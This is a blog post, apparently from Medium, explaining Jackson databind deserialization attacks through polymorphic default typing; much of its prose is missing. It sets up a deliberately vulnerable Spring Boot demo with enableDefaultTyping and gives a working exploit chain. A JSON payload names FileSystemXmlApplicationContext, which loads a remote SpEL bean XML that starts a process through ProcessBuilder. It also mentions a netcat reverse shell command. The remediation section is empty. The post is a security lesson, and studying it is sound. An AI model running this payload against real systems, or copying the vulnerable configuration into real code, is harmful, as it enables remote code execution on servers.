Understanding insecure implementation of Jackson Deserialization

What is Jackson?

Jackson version 2.8.0 being used for demo
public class MyValue {public String name;public int age;}
import java.io.IOException;import java.nio.file.Files;import java.nio.file.Paths;import org.springframework.boot.autoconfigure.SpringBootApplication;import com.fasterxml.jackson.databind.ObjectMapper;@SpringBootApplicationpublic class JacksonDatabindApplication {public static void main( String[] args ) throws IOException{System.out.println("creating objectmapper");ObjectMapper om = new ObjectMapper();MyValue myvalue = om.readValue(Files.readAllBytes(Paths.get("/Users/swapneil.dash/Desktop/personal/deserialization/jackson-databainf/jackson-rce-via-spel-master/test-legit.json")), MyValue.class);//PenetrationTesting pt = om.readValue(Files.readAllBytes(Paths.get("/Users/swapneil.dash/Desktop/personal/deserialization/jackson-databainf/jackson-rce-via-spel-master/test-pt-legit.json")), PenetrationTesting.class);System.out.println("name:"+myvalue.name+" \n"+"Age:"+myvalue.age);}}
ObjectMapper om = new ObjectMapper();
{“name”:”test”,”age”:123}
Jackson deserialization sample code

What is Polymorphic Type Handling(PTH)?

public class PenetrationTesting {public FullName name;public int age;}class FullName {public String first;public String last;}
  1. Global Default Typing (which we are gonna talk about which is the vulnerable implementation)
  2. Per-Class Annotations (which is the recommended approach)

Criteria of Exploitation:

  1. The very first criteria is that the JSON input needs to be attacker controlled(which is obvious, since thats the start of an attack).
  2. The second one is that the gadgets used for exploitation needs to be in the class path of the JVM where application being attacked is running.
  3. The third being the polymorphic type handling set to Global default typing mode.
  4. The fourth being that, the Jackson library version being used should not have the blacklisted list of the gadgets being used for exploitation.
import com.fasterxml.jackson.annotation.JsonTypeInfo;import com.fasterxml.jackson.annotation.JsonTypeInfo.Id;
public class MyValue {@JsonTypeInfo(use = Id.CLASS)public String name;public int age;}
import java.io.IOException;import java.nio.file.Files;import java.nio.file.Paths;import org.springframework.boot.autoconfigure.SpringBootApplication;import com.fasterxml.jackson.databind.ObjectMapper;@SpringBootApplicationpublic class JacksonDatabindApplication {public static void main( String[] args ) throws IOException{System.out.println("creating objectmapper");ObjectMapper om = new ObjectMapper();om.enableDefaultTyping();MyValue myvalue = om.readValue(Files.readAllBytes(Paths.get("/Users/swapneil.dash/Desktop/personal/deserialization/jackson-databainf/jackson-rce-via-spel-master/test-exploit-2.json")), MyValue.class);System.out.println("name:"+myvalue.name+" \n"+"Age:"+myvalue.age);}}
1. OBJECT_AND_NON_CONCRETE
2. JAVA_LANG_OBJECT
3. NON_CONCRETE_AND_ARRAYS
4. NON_FINAL
Assigning values to DefaultTyping function
public class PenetrationTesting {@JsonTypeInfo(use = Id.CLASS)
public FullName name;
public int age;
}
class FullName {
public String first;
public String last;
}
public class PenetrationTesting {@JsonTypeInfo(use = Id.CLASS)
public Object name;
public int age;
}
  • java.lang.Object
  • java.io.Serializable
  • java.util.Comparable

Vulnerable Application setup:

  1. Create a new spring starter project.
  2. Create a new class MyValue as shown below with default typing enabled :
import com.fasterxml.jackson.annotation.JsonTypeInfo;import com.fasterxml.jackson.annotation.JsonTypeInfo.Id;public class MyValue {@JsonTypeInfo(use = Id.CLASS)public Object name;public int age;}
import java.io.IOException;import java.nio.file.Files;import java.nio.file.Paths;import org.springframework.boot.autoconfigure.SpringBootApplication;import com.fasterxml.jackson.databind.ObjectMapper;@SpringBootApplicationpublic class JacksonDatabindApplication {public static void main( String[] args ) throws IOException{System.out.println("creating objectmapper");ObjectMapper om = new ObjectMapper();om.enableDefaultTyping();MyValue myvalue = om.readValue(Files.readAllBytes(Paths.get("path of JSON file")), MyValue.class);System.out.println("name:"+myvalue.name+" \n"+"Age:"+myvalue.age);}}

Exploitation:

Legitimate JSON data provided as input
{“age”:12, “name”: [“org.springframework.context.support.FileSystemXmlApplicationContext”, “http://127.0.0.1:8000/spel.xml"]}
[“org.springframework.context.support.FileSystemXmlApplicationContext”, “http://127.0.0.1:8000/spel.xml"]
<beans xmlns="http://www.springframework.org/schema/beans"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://www.springframework.org/schema/beanshttp://www.springframework.org/schema/beans/spring-beans.xsd"><bean id="pb" class="java.lang.ProcessBuilder"><constructor-arg><array><value>/Applications/Calculator.app/Contents/MacOS/Calculator</value></array></constructor-arg><property name="whatever" value="#{ pb.start() }"/></bean></beans>
Exploiting Jackson Deserialization
Equivalent of nc -nlvp 443 -e /bin/bash

Remediation:

References:

--

--

--

Love podcasts or audiobooks? Learn on the go with our new app.

Recommended from Medium

9 Steps for building a CI/CD pipeline with Travis-CI, Docker and AWS

Comparing Unseal Options in HashiCorp Vault

How I fixed: Windows 10 Keeps Asking: ‘How do you want to open this file?’

Common Workflow in Flutter

23. — 29. April 2018

The Wynn Games Ecosystem team talks about completed activities and upcoming events.👑

How I Created My Blog With Gatsby

A try of RxSwift — Decision Pattern

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store
Swapneil Kumar Dash

Swapneil Kumar Dash

More from Medium

A Quick walkthrough: JVM

The Anatomy of Log4j JNDI Attack and How to Prevent It

Spring Boot Project with AES Encryption and Decryption

Magic The Gathering Card API